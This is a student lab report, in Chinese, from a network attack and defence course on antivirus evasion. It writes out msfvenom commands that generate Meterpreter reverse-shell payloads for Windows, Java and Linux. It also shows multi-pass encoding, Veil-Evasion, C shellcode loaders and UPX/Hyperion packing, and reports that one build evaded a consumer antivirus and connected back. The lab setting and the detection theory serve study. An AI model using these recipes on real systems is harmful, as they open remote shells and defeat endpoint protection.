20222415 2024-2025-1 《网络与系统攻防技术》实验三实验报告
1.实验内容
学习了恶意代码和恶意代码的分析,并介绍了信息搜集技术和怎样进行信息搜集。
2.实验过程
1.1 正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
(1)使用msf生成可执行文件并检测
生成payload并检测
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.154.122 LPORT=8110 -f exe > 20222415_msf_encode_0.exe
进行编码:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.154.122 LPORT=8110 -f exe > 20222415_msf_encode_1.exe
多次编码
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.154.122 LPORT=8110 -f exe > 20222415_msf_encode_10.exe
混合编码:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 3 -b '\x00' LHOST=192.168.154.122 LPORT=8110 -f raw | msfvenom -a x86 --platform windows -e x86/xor_dynamic -i 5 -b '\x00' -f exe > 20222415_msf_encode_mix.exe
选择一个适用于Java环境的payload来生成jar文件
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.154.122 LPORT=8110 -f jar > 20222415_msf_jar.jar
使用编码器对payload进行编码
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.154.122 LPORT=8110 - e x86/shikata_ga_nai -i 10 -f jar > 20222415_msf_jar_encode.jar
生成一个反向 TCP 连接的 Linux elf 可执行文件
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.154.122 LPORT=8110 -f elf > 20222415_msf_elf.elf
使用编码器对payload进行编码
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.154.122 LPORT=8110 -e x86/shikata_ga_nai -i 10 -f elf > 20222415_msf_elf_encode.elf
(2)使用veil
安装veil
这里由于我安装veil的过程太过于曲折,反复尝试,多方求索,用尽了所有的力气和手段,所有最以虽然安装好了,但是我也不清楚我做对了什么又做错了什么,因此veil安装过程在这里省略。
贴一张快成功之前的截图
输入veil
启动,再输入use evasion
进入evasion
输入list
查看payload类型
我们要使用的是7)c/meterpretermrev_tcp.py,所以输入use 7
选择payload
输入set LHOST 172.16.227.205
设置反弹链接ip
set LPORT 8888
设置端口
generate
生成
在Please enter the base name for outpot files(default is payload):后输入想取的文件名veil_trq2415
使用VirusTotal对生成的文件进行检测
(3)使用C + shellcode编程
输入命令msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.227.205 LPORT=8888 -f c
生成shellcode
将shellcode写入c程序中
进行静态编译
使用VirusTotal进行检测
(4)加壳
upx加壳:输入upx shellcode2415.exe -o shellcode2415_upx.exe
hyperion加壳:输入cp shellcode2415.exe /usr/share/windows-resources/hyperion
输入cd /usr/share/windows-resources/hyperion进入文件夹,输入ls查看生成的可执行文件;
输入wine hyperion.exe -v shellcode2415.exe shellcode_hyperion_2415.exe
使用VirusTotal进行检测
2.2通过组合应用各种技术实现恶意代码免杀
(1)第一次我尝试了组合技术:msfvenom生成Shellcode数组,将shellcode分散到数个数组中储存,将数组按序输入文件,使用另一个数组读取文件内容即shellcode。
很明显没成功。
(2)第二次采用了shellcode+两次编码+c语言半手工编程的方法
`msfvenom -p windows/meterpreter/reverse_tcp -b '\x00' -e x86/shikata_ga_nai LHOST=172.16.22.205 LPORT=2422 -f raw | msfvenom -a x86 --platform windows -b '\x00' -e x86/bloxor -f c > shellzuhe2.c
又失败了。
(3)不知道怎么就实现的一次(win11 联想电脑管家)
在进行回连后,使用(2)生成的文件莫名其妙实现免杀了
在我完成回连后再次进行检测,发现我的杀毒软件检测不出来这个程序了,为了避免是我无意间让我的杀软忽视了这个程序,我再次编译重新生成了可执行文件shellcodeceshi.exe放主机上,没检测出来(截图已经手动查杀了)
又又为了避免是因为我之前忽视过shellcodezuhe.exe,导致同一个c文件编译出来的程序也被杀软放过,所以我把shellcodezuhe.exe从信任区和隔离区里移除后再次查杀,真没杀出来。
2.3用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
由于实在是没实现免杀,所以为了完成这步,我只能让杀毒软件饶了我的程序,进行连接,连接步骤基本和实验二相同,只是在主机上运行的是本次实验生成的程序shellcodezuhe.exe,也是成功连接上了
3.问题及解决方案
- 问题1:veil安装
- 问题1解决方案:过程太过曲折,在我同veil互相折磨的整整一天时间里,我也不知道我做对了什么终于感动了veil之神让这个软件成功地降临我亲爱的kali上,我只能把我参考的链接都贴上来
https://blog.csdn.net/cyjyjj/article/details/117447122
https://blog.csdn.net/qq_19623861/article/details/119360267
https://blog.csdn.net/Goodric/article/details/123806240
https://www.cnblogs.com/qbll/p/14618103.html#5安装vei - 问题2:虚拟机内存不够用
- 问题2解决方案:进行kali磁盘扩容
参考https://zhuanlan.zhihu.com/p/574737232
4.学习感悟、思考等
本次实验比前几次实验都要痛苦很多,最主要的就是veil的安装,这步不是最难的,但是是最折磨人的,但是我最后还是凭借我的毅力感动了机魂。本次实验最主要的是最后组合实现免杀,进行了几种尝试,也和同学进行过几次沟通,都没有实现,但是最后的程序又确实表现出了免杀,我目前还是没分析明白。本次实验充分展现了我使不完的牛劲,也暴露出我千疮百孔的知识面,我会在之后继续进行学习,弥补我的不足。
5.回答问题
(1)杀软是如何检测出恶意代码的?
基于特征码检测:每个杀软中都存在一个储存特征码的库,能识别出来的恶意代码都会有这样的一段或者多段代码,它可以唯一地标识这个恶意代码,并且其他的文件里是没有的,这样的一段或者多段代码被称为特征码。杀毒软件会扫描目标文件或程序,并将其中的代码段与特征码库中的特征码进行比对,如果匹配成功,则判定为恶意代码。这种方法的优点是精确度高,但缺点是存在滞后性,无法检测未知的0-day恶意软件。
启发式恶意软件检测:启发式检测是一种比较模糊的检测方法,它通过分析软件的行为、代码结构、签名等特征,来推断其是否为恶意代码。这种方法可以检测出一些基于特征码检测无法识别的恶意软件,但缺点是误报率较高,且对系统资源的开销较大。
基于行为的恶意软件检测:这种方法是对运行的所有进程进行实时监控,如果发现敏感行为(如连接恶意网站、开放端口、修改系统文件等),则判定为恶意程序。这是一种动态的监测与捕捉方式,相对于特征码检测来说更加通用和灵活,但同样存在一定的误报率。
(2)免杀是做什么?
免杀技术能使病毒木马免于被杀毒软件查杀。
(3)免杀的基本方法有哪些?
改变特征码
加壳与加密
混淆与伪装